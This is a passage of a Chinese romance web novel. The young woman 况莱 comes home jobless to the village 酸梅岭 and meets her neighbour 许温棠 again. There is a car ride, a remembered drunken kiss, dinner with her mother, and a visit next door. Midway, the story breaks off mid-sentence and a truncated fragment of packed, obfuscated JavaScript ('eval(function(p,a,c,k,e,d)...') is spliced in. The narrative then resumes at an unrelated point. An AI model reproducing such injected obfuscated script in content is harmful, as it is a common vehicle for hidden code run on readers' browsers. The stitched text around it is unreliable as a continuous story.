毕竟许温棠在她面前总是表现出那种“我很宽容”“我让着你”的大人姿态。 说来也奇怪,许温棠从很小的时候开始,看上去就已经好像个大人了。就算是现在去回忆,况莱也没觉得小时候的许温棠是小孩。 不过可能也正是因为如此,她才能轻而易举就把小孩版本的况莱耍得团团转吧。 况莱拎着一大一小两个行李箱,和许温棠忘记拿走、或者是故意忘记拿走以此来让她跑腿的大围巾,坐上回酸梅岭的巴士。 酸梅岭是浦市下的一个乡,大概因为盛产酸梅,才有了这个名字。但况莱对此无法确认。因为在她还没出生以前,酸梅岭就已经是酸梅岭了。 六年前,她从酸梅岭出去,单程坐一个半小时的大巴,一个半小时的地铁,加上四个小时的飞机,仿佛步入流动生产线,盖上印章,由此对外宣告,小孩版本的况莱,正式蜕变成为成人版本的况莱。 之后。 她基本很少回来,就算是回来,也都只待几天。从某一年开始,她会避开过年,节日。 这很奇怪,当小孩的时候最喜欢过年和节日,一变成大人,就连回来都要挑日子。 挑不奇怪的日子,人不多的日子。挑许温棠不在的日子。挑不会被说闲话的日子。 傍晚时分,况莱推着两个行李箱,下了巴士,正式抵达酸梅岭那棵标志性的老酸梅树下。 酸梅岭的天黑得很早,才不到六点,天色就已经接近日落后的蓝调,道路两盘的房屋都亮起了灯,昏黄,像柔光。 明明登机之前还是朝阳,等到酸梅岭天已经那么黑。 况莱这才产生某种恍惚的实感,明白自己这几年究竟是跑到了多远的地方。 大概是某种近乡情怯,她迟迟没有踏进酸梅岭的区域,反而突然想起,自己登机之前许的三个愿望,其中两个都已经正式告吹。 至于第一个,大概也要不了多久就要宣告失败了。 酸梅岭的人都喜欢热闹,连晚饭都要端着碗在路边吃。 在外边待久了的孩子回来,推着行李箱路过屋前的时候,总是要被稀奇地围过去问一嘴的—— 况莱?好久不见了?你怎么回来了? 怎么在这个时候回来了? 工作呢? 毕业之后怎么样?怎么也没听见什么消息? 你妈天天神神秘秘的,问你考上大学以后在哪儿工作,都不说。 …… 想到这里。 况莱很是沮丧地低下头。老天不作美,今天回来得急,两个行李箱不知道什么时候溅上了泥,灰扑扑的。 她抱着那条碍事的大围巾蹲下来,想就着路灯擦一擦行李箱,却又注意到自己的鞋子上也溅了不少泥。 都灰扑扑的。 不可避免,让她联想到在春季失业后焦头烂额、丢盔卸甲,不得不回乡的自己。 这种回乡方式,实在不符合她当年跑出去觉得自己未来一定大有所为的设想。 风吹过来。围巾一角落下,况莱有些狼狈地抱紧围巾,不想让它被弄脏。 围巾被裹紧,香水味淡淡扑入鼻尖。况莱垂头丧气,觉得自己大概也灰扑扑的。 要不,等过了晚饭时间再趁天黑回去好了?她有些迟疑。 “嘀——” 突兀的喇叭声响起。 况莱迷惘抬头。 傍晚灰蓝,黄色车灯点亮她溅满泥的白色鞋尖。看不清脸的女人靠站在车边,姿态迷人。 许温棠怎么来了? 况莱缩缩鞋尖。 许温棠发出一声叹息,走近,影子渺渺停到她鞋尖,“先上车吧。” “你怎么来了?”况莱还是有点生这条大围巾的气。因为一路上它真的很碍事。 “你出去这么久。”女人接过她灰扑扑的行李箱,仿佛完全遗忘况莱在飞机上和她置气的事情,“今天又是从这么远的地方回来。” 停了一会,用再自然不过的年长者口吻,“总归是要有人来接的。” 况莱攥紧行李箱。怀里的围巾被风吹起来,飘扬,像旗帜。 许温棠像是想起什么,停步,渺渺望她。 “况莱。” “嗯。” 女人颈部缠绕的丝巾在风里飘摇,像绿又像蓝。 “欢迎回到酸梅岭。” 和它的主人一样,像坏又像好。 4. 「红唇与初智齿」 许温棠的车很优雅,线条流畅,颜色像灰又像紫。 是近几年很流行的电车品牌。 系安全带的时候,况莱瞥到许温棠很自然地从另一边上车坐到驾驶座。 而不是像小时候一样和她一起抢副驾——当然,许温棠也基本懒得自己抢就是了。 只是因为况莱和许温棠都晕车,所以偶尔遇到要打车出行的情况,大人们一般会让来让去,都很客气地想让对方的孩子坐副驾。 她怔了几秒,忽然产生一种怪异的感觉,原来许温棠已经步入买车的成人阶段了。 “怎么了?”许温棠注意到她的视线,顿了几秒,“晕车?” “没有。”况莱否认。 “没有多远了。”许温棠把她这边的车窗降下来一点,“我尽量开稳一点。” “你正常开吧,我没有晕车。”况莱说。 “好。” 车开始动了,车灯在蓝调天空下弥散。像小的时候,她们在市区上完特长班,下了巴士天一般都已经很黑,许温棠也会打着手电筒带况莱走小路回家。 那个时候许温棠走在况莱前面。 现在也一样。 况莱看着前面被车灯照亮的路,对许温棠买车这件事并没有太多意外。 许温棠所有的人生阶段,都会快自己一步——这是况莱很早以前就已经彻底接受的事实。 只是很长时间内,她都没有如此真切去面对这个事实了,这使她迟钝间产生了一种极为微妙的感受—— 她竟然坐在许温棠的车里。并且……她和许温棠,好像是真的已经很久都没见面了。 “况莱?”许温棠突然喊她。 “啊?” “怎么这么安静?” 许温棠开车的样子也符合她本人给人的印象,不急不躁,没有多余动作,姿态优雅。 不过她小时候也这样。现在的许温棠,就约等于小时候的放大版。 “没什么,就是好久没回来了,有点不适应。”况莱侧目,看酸梅岭的红色屋顶的小平房从路边爬过去,像很多只红色蜗牛。 许温棠像是也跟着她往车外看了一眼,然后想起什么事,说, “我是从市区取的车,没有来得及回去接君君阿姨。她不知道我要来接你,不是故意不来。” 停了半晌,强调的语气,“你回来,君君阿姨也很高兴。” “我知道。”车开过一条两边都是红房子的大道,况莱很新奇地伸手,戳了戳车玻璃外面的红色蜗牛,“我没有生她的气。” “那就好。” 许温棠语气自然。 况莱蜷回手指,转脸看许温棠。 “怎么了?”许温棠手放在方向盘上,看她一眼,表情也很自然,“饿了吗?快到了,君君阿姨应该在等你吃饭。” 其实许温棠一直是个况莱难以搞懂的人。有的时候,她仿佛又真的只是一个很照顾况莱的邻居姐姐,在况莱回乡的第一天开车来接,问她饿不饿。 就好像……不久以前在飞机上的恼怒和对峙,在许温棠那里都不重要,一切都只是一场只属于况莱的、幼稚的独角戏。 熟悉的大人姿态。 其实况莱也很不喜欢许温棠这个样子。 始终体贴,忘记不快,忽略冲突。 或许大人都是这个样子。但况莱不喜欢。她觉得很不真实,也经常为此感到挫败。 所以刚刚。 况莱都差点延续自己的刚正不阿,打算很有骨气地不上车,推着行李箱走回去。 但许温棠说,欢迎回到酸梅岭。 第一个对她说这句话的人。或许也会是唯一一个。 “在想什么?”许温棠忽然问。 “没什么。”况莱语气别扭,不太愿意承认,自己的想法其实很不坦荡。 又转头,有些新奇地打量着许温棠车里的内饰,“你什么时候买的车?” “前年夏天。”许温棠想了会,“七月份。” “好吧。” 前年的况莱二十二岁,才刚刚大学毕业,最常用的交通工具是两条腿,以及开便宜月卡才敢放心使用的共享单车。 因为最近连共享单车都开始涨价,从1.5一个小时变成1.5十五分钟。况莱对此很不满意。 “我这两年经常去省城,有辆车会方便很多。”许温棠说。 “哦。” 许温棠所工作的航司驻地在曼谷。她回来得勤,每个月都需要从省城来回一次,有辆车的确会更方便。当然,这都是况莱从叶君君那里听说的边角料。 她自己是对许温棠的近况懒得关心。 不过也很奇怪。 毕竟和许温棠都六年没见面了。 况莱也没有觉得有多生疏。甚至在飞机上都没怎么寒暄,连招呼都没打,许温棠就直接说得出“盖着腿”这种话。 一如既往,爱管教她。 想到这里。 况莱撇了撇嘴,低头,看了眼自己的裙子,应该也没有很短吧? 又转头。 看许温棠。 许温棠倒是没有穿裙子,穿的牛仔裤,坐着看不出版型,但挺好看的。 记忆中许温棠有一段时间也很爱穿裙子的,长裙,短裙,碎花裙,白裙,有褶皱的蕾丝裙,修身的一字裙……她现在怎么不穿了呢? 况莱扯了扯自己的裙角。 “冷吗?”许温棠大概注意到她的动作。 “不冷。”况莱摇头。 许温棠点点头,“这边气温是高一些。不过偶尔也会降温。” “带衣服回来了吗?”她问况莱。 “带了。” “厚衣服都带回来了?”特别像家长的语气。 “嗯,之前寄回来的。”况莱回答。 许温棠再次点头。停了一会,似乎是想再开口—— “你先不要问我待多久。”况莱打断她,“因为我自己也不知道。” 许温棠倒是很配合,没有问原因,很简单地阖上了唇。 况莱稍微舒展背脊。 过了会,车慢慢从大道拐到熟悉的小道上。她莫名觉得紧张,有点害怕突然见到装着叶君君的那顶红房子。开始将目光投向许温棠—— 上次和许温棠见面。她才十八岁,许温棠也才二十一岁。 现在许温棠二十七岁了。 穿着,妆容,发型,眉目间的气质,似乎都和从前比已经有了很多变化。喜欢戴耳环了,没有穿裙子了,唇色变红了,五官变深了,气质反而变得温柔,没有从前那么锋利了。 但又好像没怎么变。 因为况莱发觉自己没从她脸上感觉到任何生疏。仿佛这六年,许温棠一直在她的记忆里慢慢长大,而现在的许温棠,也只是很简单地被从她的记忆里拿出来而已。 或者是,她早就已经习惯许温棠每一次出现,都会是她不熟悉的样子了。 “在看着我?”许温棠忽然出声。 况莱惊醒。反应过来自己在做什么之后,她迅速挪开视线看向车窗。好像快要到她家了,也好像下雨了,许温棠不知道什么时候已经帮她把这边车窗关了,细细雨丝从车玻璃上缓缓滑落。 她下意识掩耳盗铃 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春雨弥漫,车窗泛雾。驾驶座的女人脸庞被暖黄路灯照映,和玻璃窗上的水雾对比鲜明,有一种高明度的美丽。 以至于况莱几乎可以完全看清,许温棠脸颊上那一颗很小的痣。这颗痣也没有变,还是记忆中的样子,在脸颊偏下的位置,棕色,很小,不突兀,要细看才能看到,看上去很性感。 “你看着我做什么?”况莱觉得许温棠的视线过于直接了,她不太适应,“我妈在等我呢。许温棠,你把车门打开。” 但许温棠没有说话。 光影流淌,她看她,很仔细,很专注,目光像一尾鱼,鱼尾轻轻摆动,一点一点,游过况莱的眉毛,眼睛,眼尾,脸颊,鼻尖,人中…… “况莱。” “啊?”况莱突然被她搞得很紧张。 况莱缩了缩手指,觉得呼气和吸气的顺序被这场雨完全弄乱。下意识想躲,但是又很不愿意承认自己连对视都没胆量,于是强迫自己迎着许温棠的目光看过去,“干嘛?” 雨声已经很明显了,滴答滴答的。许温棠没有着急说话,还是看她。 让人莫名想起很久之前的那个雨夜,许温棠也是这样细细看她,捧着她的脸,柔软手指刮过她又痒又肿又痛的下颌,好似要仔细检阅她的脸上是否有自己遗漏掉的地方。 那时喝醉的况莱做了什么来着? 况莱很是恍惚地盯着许温棠慢慢变清晰的脸庞。好像是…… 因为觉得嘴巴里那颗智齿莫名其妙很痛,喝多了酒头也很晕,但被许温棠捧着脸很舒服,觉得许温棠的嘴唇很漂亮,水分很足,很软,很好亲,好奇是不是亲上去就不会痛了。 所以…… “你也长大了。” 车灯弥漫,雨声缭绕。许温棠注视着她,红唇缓缓开合,声音真切。 ——亲了上去。 况莱被眼前突兀浮现的画面吓了一大跳。 光影摇晃,许温棠望她,缓缓解下安全带,似乎是还有话想说,“况莱……” “妈!” 况莱突然大叫着转头,朝车窗外那个徘徊的人影亮着嗓门大喊,“我要吃话梅小排!” 之前不小心亲上去纯属她被智齿疼得鬼迷心窍,一念之差鬼上身。 这六年来况莱对那件事悔恨交加,也早就大彻大悟。 发誓不管这次回来待多久,都绝无可能重蹈覆辙。 5. 「甜枣与鬼脸」 叶君君大概被况莱那一嗓子吓得不轻,看她俩一起下车,又觉得惊讶,“你们两个怎么一起回来了?” “回来的时候刚好在飞机上碰到了呗。”况莱完全忽略刚刚自己在车上的大喊大叫,忙忙碌碌从后备箱里拎行李箱下来,又转去看叶君君,“天这么黑你在门口瞎转悠什么呢?等我回来呢?” “那不就等你回来吃饭呢。”叶君君帮忙推了只行李箱,各看了她俩一眼,“就这么巧?你俩还在飞机上碰见了?” “对。”许温棠下车过来帮手,也向叶君君解释,“她正好坐我斜前面。” 语气正常且简洁,看不出是什么表情,像是带笑,又像是没有。不知道有没有生况莱的气。 应该不至于吧?不就是刚刚在车上没听她把话讲完吗? 许温棠好小气。 况莱看了眼许温棠的脸色,思考了一会,觉得自己也没做什么惹许温棠生气的事情。 不过也实在不应该把许温棠回去开车再来接她的行为完全解释成偶然事件,想了想,就比较公平地强调,“然后许温棠开车来巴士站接的我。” 她是特别不愿意让别人深藏功与名的。做了好事当然就得让人知道。这是况莱从小就坚持的人生哲理之一。 “怎么这么没礼貌!”结果叶君君听了眼睛一瞪,毫不客气地拍了下她后脑勺,“你棠姐姐大名也是你喊的吗?” 况莱冷不丁被敲了一下,捂着后脑勺委屈转头看她妈,“不然呢?” 叶君君瞪眼,“喊棠姐姐!” 况莱抿紧唇。她到底什么时候这么喊过许温棠了? “你棠姐姐在天上飞来飞去这么辛苦,今天下了飞机还特意回来开车接你,你还这么没礼貌——”叶君君这边听上去是说不通了。 况莱不情不愿地看向许温棠。 其实她和许温棠就差三岁。不过她七月份生日,许温棠十一月份生日,所以准确来说是两岁七个月零六天。 再加上许温棠小时候总用那道疤威胁她做这做那,还完全没有道德负担地捏着手指在况莱面前吃光了她一整年的小零食份额,让况莱经常咬碎了牙齿只能往肚里吞。 况莱是不太愿意喊许温棠姐姐的。 不过一般情况下,许温棠也不会因为这件事太为难她。 所以—— 况莱这时候看向许温棠的意思,是希望她像平时一样,和她妈说些“喊过了”“君君阿姨您太客气了”“况莱今天也辛苦了您别折腾她”之类的……总之能把这事带过去的话。 许温棠大概接收到况莱的信号。她对叶君君笑了笑,“君君阿姨客气了。” 况莱很是宽心地挪开视线,打算推着行李箱进院子。 “不过……”许温棠话锋一转。 况莱警惕转头。 “况莱今天在飞机上是没喊我。”许温棠抱着双臂,语气悠悠。 女人仿佛完全没看见她使的眼色,笑意盈盈地看向她,“我还以为她都不认识我了呢。” “况莱!” 果然,话音刚落,叶君君就很是火大地转头,“我平时怎么教你的!” 况莱咬牙切齿。 又来了。 许温棠的恶趣味,许温棠的报复心,许温棠轻而易举就可以在家长面前让她吃闷亏还不敢告状的本领…… 毫不意外。 啪嗒。 后脑勺又挨了一下。 虽然也不重。 但是…… 况莱不情不愿地半掀开眼皮。 好了。 这下许温棠看上去倒是笑眯眯的,心情好像很愉悦,脸色也比刚刚下车时的冷淡好了很多。 反正是看见她吃瘪就乐意。 “让你嘴甜点见人就喊,你棠姐姐从小到大都对你这么好,你还老是对她这么没礼貌!还不快谢谢你棠姐姐今天过来接你——”叶君君叉着腰教训她。 “谢谢——”况莱突然大喊。 叶君君被她吓了一跳,踉跄一步,嘴里的念叨一下卡了壳,也大喊,“声音这么大做什么!” 许温棠抬抬眉毛。 “——你。”况莱屈辱低头,“许温棠……” 叶君君听到前半截,叉着腰“嘶”地一声准备教训她。 况莱语气拖长,不大情愿地吐出最后两个字,“……姐姐。” 许温棠大概就等她这一句,满意眯起眼尾,松开双臂,帮忙推走一只况莱的行李箱,清了清嗓子,冲叶君君笑, “好了,君君阿姨,况莱坐了这么久的车,现在也累了,一路上都在念叨您,说出去这么久特别想您做的话梅小排呢……” 叶君君被许温棠温言软语哄着进了门,嘴里也没再念叨况莱,只说着些让许温棠留下来吃晚饭,也让许温棠回去把她妈带过来的话…… 况莱拖拖拉拉跟在后面,凶巴巴地冲许温棠做了个鬼脸。 打个巴掌给个甜枣。 虚情假意。 油嘴滑舌。 许温棠像是感应到什么,突然回头看她。 况莱瞬间收敛,表情正常,“干嘛?” 许温棠抬抬眉心,红唇轻轻启动,看口型,很快就是脱口而出的无比熟悉的“君君阿姨”四个字。 况莱气急败坏地叉腰,压着嗓音威胁,“许温棠!你不许告状!” 许温棠突然笑了。 况莱不知道她为什么笑,很警惕地叉着腰瞪她。 许温棠歪了歪头,眼尾笑意更浓,不过竟然真的没告状,也没跟况莱计较这声连名带姓的“许温棠”,而是好脾气地拍了拍她的头,轻轻地说。 “欢迎回来。” 说实话况莱真的很搞不懂许温棠。 尽管她总执着于向大人证明许温棠只比她大三岁,是根本不算什么差距的年龄,于是也从来不喊许温棠姐姐。 但她基本搞不懂许温棠为什么开心,为什么不开心,也搞不懂许温棠笑的时候意味什么,不笑的时候意味什么。 于是只好每次都用相同的方法应对。 况莱抿紧唇。 不大高兴地理了理被许温棠拍乱的头发。 等她理完。 许温棠已经很自然地推着她的行李箱,走在她前面几步,笑眯眯和叶君君说着话。 像很久以前,读高中寄宿的况莱每次听到读大学的许温棠回来,会想要跟上去问问许温棠在外面读大学好不好玩儿,却也都会很迟钝地发现,许温棠总是在并排和大人们讲话。 那些大人们的聊天,都是还在念高中的况莱插不进去的,于是她每次都只好闷闷不乐地跟在许温棠的影子后面。 当然现在也一样。无论长不长大,其实都没有区别。 “您别想那么多,她会懂事的。”许温棠带着笑意和叶君君说话的声音慢慢飘到耳边,“况且……她现在这样,也不是不好……” 交谈的声音越来越远。况莱闷头胡思乱想,又摇晃着脑袋丢掉自己的胡思乱想,抬头,看一眼前面—— 门口老灯昏黄,伴随着碎碎念念的、有些听不清的说话声,女人的影子却慢下来。像在刻意等她,又像只是不经心。 况莱撇了撇嘴。 好一会。 才慢吞吞地踏出一步。 踩着光影跟了上去。 - 到了家,况莱换了拖鞋,不想再听她妈和许温棠的客套话,火急火燎把行李箱放进房间。 本来想要把带了快一天的妆卸掉,再换身宽松的睡衣再出来吃饭。但想到许温棠可能还在外面,她犹犹豫豫,还是没有换。 根本不是为了要在许温棠面前维护形象。 只是她妈这几年本来就已经很喜欢许温棠、恨不得把许温棠当亲女儿了,还特别喜欢拿她跟许温棠比。万一吃饭的时候,再一看况莱穿着睡衣油头满面吃相很不雅观的样子,大概只会更嫌弃她。 况莱补了个口红,探头探脑地出了房间。 客厅看起来没什么变化,和她上次回来差不多。叶君君是个特别爱干净的农村妇女,会把红木茶几擦得油光锃亮,也会很讲究地给那台老冰箱罩上蕾丝花边罩。 叶君君从厨房里端出热好的菜,路过的时候瞥了她一眼, “你倒是喜庆,都吃饭了,还特意涂个口红出来给我看。” “明明刚刚就涂了。”况莱否认,漫不经心往空荡荡的客厅里瞥了眼, “反正只要许温棠在,我在你眼里就跟个空气人似的。” 她按惯例洗干净手,去厨房拿碗筷。 叶君君在客厅那边喊说,“两副就够了,你棠姐姐和许云阿姨今天不来。” “哦。” 况莱应下。 把不小心多拿的两副碗筷重新放进去。 拿着剩下的两副放到饭桌上。 客厅亮着老灯,桌面上摆着的菜因为等她回来的时间太长,看上去都热过一道,不过也都是她爱吃的。 话梅小排,蒸花蟹,白灼虾,青葱煎鸡蛋,丝瓜汤,四菜一汤,很丰盛,旁边还摆着她小时候特别爱吃的绿豆饼。 况莱马上伸手去拿绿豆饼。 叶君君“啪”地一下用饭勺打她手背,“吃完饭再吃!” “哦。” 况莱老实应下。 叶君君其实还蛮严厉的。自从况莱小时候吃饭端着碗到处走摔了碗,伤了许温棠,她就对况莱的吃饭习惯进行了相当严肃的培养。 以至于有一段时间,况莱每次吃饭都只敢严格按照顺序吃一筷子菜再吃一口饭,因此在小学三年级期末结束光荣获得“食堂标兵”的称号。 况莱把口红擦了。 撸起袖子。 坐下来。 先夹了筷子话梅小排。 咬到嘴里。 熟悉的味道到了舌尖,她非常利落地吐出骨头,继续吃下一块。 叶君君做的话梅小排不软不硬,话梅的酸甜味也没有那么重,添了点青柠汁,和酱汁融合得刚刚好,清爽不腻。出去后况莱也没再吃过味道这么合适的话梅小排。 她一连吃了几块。 叶君君大概是看她刚回来,也罕见地没说她吃相不好,而是提起, “厨房还有点话梅小排和蒸花蟹,晚点你送去给你棠姐姐和许云阿姨。” 叶君君是个热情大方的性子,不管家里做了什么好吃的,都会想着在她家对门的许温棠家。按照叶君君认的道理来说就是——远亲不如近邻。 于是,从小到大,叶君君也总是认为两家该多走动,时不时就让况莱过去跑腿。 连况莱最爱吃的话梅小排,每次一做,也都是做两份。因为许温棠也特别爱吃。 况莱曾经对此不太满意,经常在去跑腿的路上,掀开盘子偷吃几块,然后再带着嘴巴上的酱汁敲许温棠家的门,最后被很敏锐的许温棠抓包,甚至以此威胁。 “万一我吃得了两份呢?”但今天况莱不是很想再去许温棠家了。 她今天遇见许温棠的次数太多,比过去六年都多了,这已经消耗太多她用以应对讨厌的人的精力。她需要一定程度的养精蓄锐,以此用以下一次和敌方的不友好会晤。 “那也不行!”叶君君瞪她一眼,“不管你能吃两份还是三份,那都是你棠姐姐和许云阿姨的。” 听上去不容置疑。 况莱只好服从,“那你刚刚怎么不让许温棠直接端走呢?” 叶君君看她一眼,“你端过去的时候顺便去看看你许云阿姨。” 也是。 况莱想到那盒买回来的准备送给许云的丝巾,没再提出异议。 “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果说叶君君是个暴躁的、心思粗糙的妈妈。那许云,大概就是只会在电视机里出现的那种温柔妈妈,会穿布料柔软的套装裙,用很贵的护发香波,和人闹不愉快的时候也都是轻声细语讲道理。 “所以你棠姐姐这几年都回得勤,为你许云阿姨这事费了不少心血,东奔西走的,找能让你许云阿姨相中的医生,有事没事还得看你许云阿姨脸色。” 叶君君扒了个虾,叹了口气,说,“你也别怪她老是对我嘘寒问暖——” “这不关键平时她工作跑国外不在家,挺多时候都顾不上你许云阿姨。” “而且你许云阿姨是个多娇贵的人你也知道,所以呢,挺多事就得多麻烦你妈我,像看看她吃没吃饭啊,按时吃药没啊,有没有安安分分在家待着啊,在家待着有没有出啥事啊……” “我自己是不介意隔三差五上门帮点忙,邻里邻居,顾一顾你许云阿姨也是应该的。但你棠姐姐是个懂礼数的,念着这些,每次回来就也都登门带点东西给我。” 这些状况倒都是况莱不太了解的。她今年二十四岁,懂得在回乡的时候给长辈带两盒丝巾,就都已经是最多的人情世故。 有叶君君在,她回来最多也就多跑几趟腿,送点话梅小排和蒸花蟹到对门。除此之外,其余乡里乡亲的人情世故,都没轮到她来瞎操心。 可许温棠不一样。 许云生病,平时又是一个人待在酸梅岭,要走动的,可不止况莱她们一家。 而这些细枝末节,许温棠大概也都是需要单打独斗去考虑、顾全。因为生病的人会变成小孩。而许温棠就变成家里最大的那个大人了。 那…… 许温棠这几年是不是过得很辛苦?就像她妈说得那样? 想到这一层,况莱心情有点沉重,转头问叶君君,“那许云阿姨是哪年确诊的你还记得吗?” “好像是前年吧。”叶君君很利索地扒好几个虾,装到另一个小碗里端给她,又眯着眼回忆,“快入夏的时候。” 时间差不多对得上。况莱抿紧双唇。 所以……其实是为了带许云去看病,许温棠才买车的吗? 那怎么不和她说呢? 怎么她在车上问起为什么买车的时候,许温棠的表情那么轻描淡写呢? 况莱忽然又感觉到挫败。 因为许温棠总是这样,很多事都不提及,也都不让况莱知道。 可能认为没有必要。 因为况莱既没有神通广大到可以找到认识的人把许云治好,也没有办法在自己二十二岁的时候买车,在许温棠忙着工作的时候,让许温棠不用回来,自己开车带许云去省城看病。 因为况莱不是厉害的大人,大多数时候连自己都顾不好,而且还幼稚,固执,特别爱生气,爱记仇,不讲道理,嘴巴里也基本不会讲好听的话……好吧,况莱决定暂停强调自己缺点的行为,再说下去真该难过了。 不过由此看来,在很多事情上,她的确属于没有必要告知的对象。 也没办法对此产生任何怨怪。 于是只好总是单方面挫败。 况莱想东想西,觉得没劲,又觉得今天这么对许温棠很愧疚,一下子连话梅小排都没心思吃了。 她有一下没一下地戳着饭粒。 “不过——”叶君君像是完全没注意她的胃口突然变小,又提起,“你棠姐姐今天看起来还是蛮高兴的。” “有吗?”况莱其实没觉得今天的许温棠和从前有什么不一样,所以也根本没发觉许温棠身上还装着那么多事。 “可能还是因为你回来了吧。”叶君君这么说。 况莱撑着脸的手指蜷了蜷。 叶君君却仿佛完全没注意到她的停顿,不讲究地吐掉一嘴碎虾壳,自顾自往下说, “她也就跟着变回小孩儿了。” 6. 「庄园与茅草屋」 “你这话怎么又像褒又像贬的?” 况莱不太认同叶君君的说法。她对许温棠来说哪有那么大意义啊? 她不太适应地撇了撇嘴,“你意思是说我把她带坏了呗?” “不是这个意思!” 叶君君睨她一眼,把筷子一放,“哎况莱,我发现你怎么现在连句好话都听不得?” “那说不准她遇见什么好事了吧。”况莱用筷子戳戳叶君君给她扒的那碗虾,“反正我是没看出来。” “没看出来什么?” “没看出来……”没看出来我回来这事对她有什么意义。 叶君君抬起脸看她。 况莱又戳了戳虾,换了个语气,“没看出来她今天和从前有什么不一样。” 说实话,回忆起来,她觉得许温棠今天笑得确实蛮多的。也基本恶劣,基本虚伪,偶尔善良,偶尔温暖,还是一样爱管教……和她印象中的许温棠没什么差别。 不过,也确实不像是为许云生病耗心了几年的样子。 “所以说她今天反常!” 叶君君瞪着眼强调,然后又叹了口气, “谁都看得出她这两年心思蛮重,要是说不爱笑吧,也没有,说时时刻刻都挂着脸不开心吧,那更没有。每次见着面,都是笑眯眯跟我问好。” “但就是每回冲我笑,都像心里藏着事,每次放假,也都是回来待在我们这乡下,深居浅出的,都不到外面去过过新鲜靓丽的生活,哪里像个年纪还不到三十的年轻人?” “我还总说呢,她怎么年纪轻轻一点孩子脾气都没有,从小就跟个小大人似的,懂事,听话,讲礼貌,不跟家长置气。哪像你,天天说个你什么事,三句能跟我顶五句……” 况莱不说话,数着米粒。反正叶君君每次数落起她就没完。 反正……在叶君君那里,许温棠什么都好,她什么都不好。 许温棠也一样,永远都和叶君君一边,装得跟个大人似的。 “她会懂事的”——况莱莫名其妙想起这句话,也想起许温棠说这句话时看似体贴宽容、实际却完完全全心不在焉的语气,忽然有点烦躁。 “不想吃了。”况莱突然起身。 叶君君听到她这句,瞥一眼她碗里剩下的饭和排骨,不是很满意地嘱咐,“你什么时候胃口变这么小了?” “我又不是小金。”况莱端着碗往洗碗槽那边走。小金是她小时候叶君君养大的一头猪,后来被她妈请两个大汉帮忙摁着宰了,况莱哭得很伤心。 叶君君扭着身子在她身后喊,“我告诉你啊,况莱,不准再像你高中时候偷偷节食不吃晚饭减肥。那时候还胃炎跑医院去了你记得吗?” “记得。”况莱也没什么心思和叶君君顶嘴,“没有减肥。” 扔下这句话。 她把碗放到洗碗槽里,看了看她妈收拾得干干净净的厨房,突发奇想,觉得从现在开始当个懂事点的女儿也不错,就很主动地戴上橡皮手套,兴冲冲地冲她妈喊, “要不我来洗碗吧。” “不用!”叶君君没回头,语气有点嫌弃,“你洗不干净,我怕明天120就开到我们门前来!” 况莱气得把洗碗手套一甩。 “你赶快把话梅小排和蒸花蟹送过去!”叶君君催她。 “知道了!” - 叶君君硬逼着况莱把那碗扒好的虾吃完,说是这个季节的虾蟹都贵,不准她浪费。 况莱没办法,只好一口一个,心急火燎塞进嘴里,带着装好话梅小排和蒸花蟹的保温桶,还有从房间拿出来的丝巾,又拿了点别的,鼓鼓囊囊地去了。 酸梅岭的天黑得早,饭也吃得早,她出门,也才七点多,走了几步,抬头就看见对门坡上许温棠家房子。 天已经完全黑掉,路灯昏黄。但她还是能看得清,许温棠家那占地面积非常广大的“豪宅”在黑夜里闪闪发光,跟英国庄园似的,进去之后还得爬个坡、顺带绕一圈才能找见进殿的……哦不,进去的大门。 跟这对门的“庄园”一比,况莱她们家就显得跟茅草屋似的。 坦白来讲,穷乡僻壤的酸梅岭有栋这么大的房子挺突兀的。因为它还真的挺大,周围还有花里胡哨的围墙,有花园有养鱼的水池,风格也不是酸梅岭这边流行的自建房风格。 不过这豪宅在许温棠和她妈搬进来之前就存在了。之前一直没有主人,于是曾经也就引发了酸梅岭爱好是编故事的乡民们的广泛讨论。 有姨姨捂着嘴巴说——这是有钱人专门用来养小情人的! 有婆婆神秘莫测地说—— 这家人刚把房子建好,就全家出车祸死掉了!所以这家住的是魂! 还有闲着没事干的小屁孩往里头扔石头,煞有其事地说把手装成喇叭朝人说——不得了了!里面住着疯婆娘! …… 总之,关于这“庄园”的流言蜚语很多。直到有个夜深人静的晚上,许温棠和她妈搬进来。 谣言不攻自破。 没过多久,酸梅岭所有人家都知道,原来这家有个漂亮女儿,不仅学习成绩很好从来没得过第二名,还会弹钢琴会跳舞,礼貌得体有教养,比酸梅岭所有调皮捣蛋的小孩都听话多了——以上说法全部来自叶君君声情并茂的渲染。 况莱曾经亲眼看见—— 她妈叶君君后来在对外谈起见许温棠第一面时的惊艳神情,像许温棠是她在怀况莱时就求神拜佛的完美女儿,结果很是可惜地投胎到了许云肚子里。 况莱对此不屑一顾。 说实话许温棠哪有那么完美啊? 还不就只是会在大人面前装罢了。 况莱爬完坡,鼓鼓囊囊地摁响了许温棠家的门铃。 门口的可视门铃亮了。 况莱凑过去,拎着保温桶,龇牙咧嘴地挤了个鬼脸。 里头的人语气惊喜, “况莱?” 是许温棠妈妈。 况莱吓一跳,连忙收敛,后退一步,很是乖巧地对着门铃喊, “许云阿姨,是我。” “啪嗒——” 门开了。 可视门铃那边响起脚步声。 况莱连忙理理衣服,头发,也把那盒揣怀里的丝巾揣好,推开院门,匆匆忙忙迎上去。 是在她进门走了一半的时候,许云脚步匆匆地从里头迎出来。 “许云阿姨我来了。” 况莱赶快小碎步跑上去,“您慢点,晚上看不见,别摔着。” 许云正巧出来撞见她,便也停下步子,在灯光下打量着她,嘴角带着温婉的笑,“怎么一眨眼都长这么大啦?” “今年二十四。”况莱很熟练地挎着许云的胳膊,跟她一块往里走,“我妈刚刚还说我跟小孩似的不懂事呢!” “哪有这回事。”许云笑眯眯。 她和许温棠的五官有点像,眼尾也是长长细细的, “我是听你妈从前几天就念叨着说你今天要回来,还让我也陪你一块吃顿饭。” “但正好我今天身体不舒服,就没过来吃饭,没想到你还特意过来看我。” “我妈做了话梅小排和蒸花蟹,让我提过来一点给您。”况莱说。 她很利落地把怀里那盒丝巾拿出来,“这不回来也没带什么,逛街的时候看见这盒丝巾,觉得颜色款式都很衬您,就给您带了条。” “还给我带了礼物。”许云很惊喜,接过去拿着包装盒看了看,倒是没有马上拆。 